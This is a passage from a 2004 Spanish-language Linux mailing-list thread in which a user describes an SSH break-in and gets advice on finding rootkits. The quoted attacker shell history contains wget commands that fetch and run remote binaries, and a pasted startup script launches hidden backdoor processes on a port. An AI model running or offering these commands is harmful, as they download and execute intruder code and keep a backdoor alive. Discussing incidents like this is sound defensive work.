Bajate un cd de knoppix o live-cd de gentoo, montate las particiones y revisa los scripts de inicio y la config del bootloader (lilo/grub). Ahi generalmente se levantan los rootkits. Yo escribi un paper acerca del tema... "Detecting and Understanding Rootkits: An Introduction and just a little-bit more". Ojala te sirva.
-- Arturo "Buanzo" Busleiman - www.buanzo.com.ar - GNU/Linux Documentation President, Open Information System Security Group - Argentina "En teoria, no existe diferencia entre teoria y practica. Pero, en la practica, esto no es asi." On Wed, 16 Jun 2004, FGG wrote: > Hola todos, > Les queria hacer una consulta ya que haces unas dias me entraron a mi pc > que tenia y tiene linux, la cual normalmente esta encendida las 24hs con > un Adsl. Tiene corriendo un Debian Woody que cada dos aprox. le hago un > apt-get upgrade. > Ingresaron por el sshd, me cambiaron a protocolo 1 y me modificaron el > .conf > > Les muestro lo q instalaron. > > Este es el historico del usuario q usaron: > ---------------------------------------------------------------- > uname -a > wget jhonyboy.home.ro/t.tgz > rm -rf no_user.phtml > cd .ssh > cd > cd .ssh > id > wget netpunk.home.ro/t.tgz > tar -zvf t.tgz > ./t > tar -xzvf t.tgz > ./t > wget jhonyboy.home.ro/ups > chmod +x ups > ./ups > ls > ./ups > ----------------------------------------------------------------------------------- > Esto me generaba muchos muchos procesos, q parecian estar muertos, los > cuales utilizaban: > > C�digo de programa Archivo regular 16516 288523 /usr/X11R6/.zk/echo > Biblioteca compartida Archivo regular 90210 159640 /lib/ld-2.2.5.so > Biblioteca compartida Archivo regular 1153784 159648 /lib/libc-2.2.5.so > 3r > Archivo regular 179 225596 /etc/sysconfig/console/load.zk > Archivo regular 16516 288523 /usr/X11R6/.zk/echo > --------------------------------------------------------------------------------------------- > Script: > ************************************************************** > linux:/etc/sysconfig/console# ll > total 4 > -rwxr-xr-x 1 root root 179 Jun 1 11:18 load.zk > linux:/etc/sysconfig/console# cat load.zk > #!/bin/sh > # Script used by the kernel init interface > export LOGIN=ZK > /usr/bin/run /usr/X11R6/.zk/echo >> /dev/null 2>&1 > /usr/bin/run /usr/X11R6/.zk/xfs -p 7111 >> /dev/null 2>&1 > linux:/etc/sysconfig/console# > ************************************************************ > Aclaro q tenia abierto un port (xfs, q lo generaba este script ) q > realmente no recuerdo. > Ahora elimine todos los scripts pero no habia forma de matar los > procesos ya q arrancaban de nuevo, en la consulta al pid mostraba q los > scripts estaban "Delet"-> ya q los elimine yo, ademas de estos, tambien > llamaban a libc-2.2.5.so y ld-2.2.5.so , los cuales no puedo eliminar. > La pregunta puede ser que modificaron libc y ld ? > De q fomar se puede solucionar sin pisarlo al Linux ?, en este caso > mucho problema no hay por q era una pc comun, pero en el caso de algun > server con dias y dias de laburo sobre el...? > > Muchas Gracias a Todos! > Saludos > Francisco. > > FGG > [EMAIL PROTECTED] > > > -- > Para desuscribirte ten�s que visitar la p�gina > https://listas.linux.org.ar/mailman/listinfo/lugar-gral/ > > Si ten�s alg�n inconveniente o consulta escrib� a mailto:[EMAIL PROTECTED] > Apoya al ASLE enviando tu firma http://www.linux.org.ar/asle > -- Para desuscribirte ten�s que visitar la p�gina https://listas.linux.org.ar/mailman/listinfo/lugar-gral/ Si ten�s alg�n inconveniente o consulta escrib� a mailto:[EMAIL PROTECTED] Apoya al ASLE enviando tu firma http://www.linux.org.ar/asle
